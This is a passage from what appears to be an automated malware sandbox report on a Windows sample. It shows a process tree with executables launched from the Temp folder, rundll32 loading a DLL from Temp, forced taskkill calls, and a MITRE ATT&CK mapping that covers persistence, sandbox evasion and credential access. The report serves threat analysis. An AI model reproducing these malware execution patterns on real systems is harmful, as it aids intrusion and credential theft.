C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 320
3⤵
- Program crash
PID:6636

C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe
"C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe"
2⤵
PID:3208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3208 -s 316
3⤵
- Program crash
PID:6076

C:\Users\Admin\AppData\Local\Temp\fbf.exe
"C:\Users\Admin\AppData\Local\Temp\fbf.exe"
2⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:1692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1692 -s 232
3⤵
- Program crash
PID:944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 5896 -ip 5896
1⤵
PID:5632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:4040

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 1692 -ip 1692
1⤵
PID:6760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3208 -ip 3208
1⤵
PID:6004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 6716 -ip 6716
1⤵
PID:4692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 5196 -ip 5196
1⤵
PID:5792

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:6348

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding FC6DEE178F03C4C47273EB5725A58F97 C
2⤵
PID:3128

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 199057FCB51D40DEE01D9C1E058E81CC
2⤵
PID:712

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
3⤵
- Kills process with taskkill
PID:6904

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 557BE088535B2A649BA3E0465B81654D E Global\MSI0000
2⤵
PID:1364

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6796

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:4704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4704 -s 448
3⤵
- Program crash
PID:6124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 4704 -ip 4704
1⤵
PID:3424

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:3476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3960 -ip 3960
1⤵
PID:6152

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:2292

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

BITS Jobs

T1197

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

BITS Jobs

T1197

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery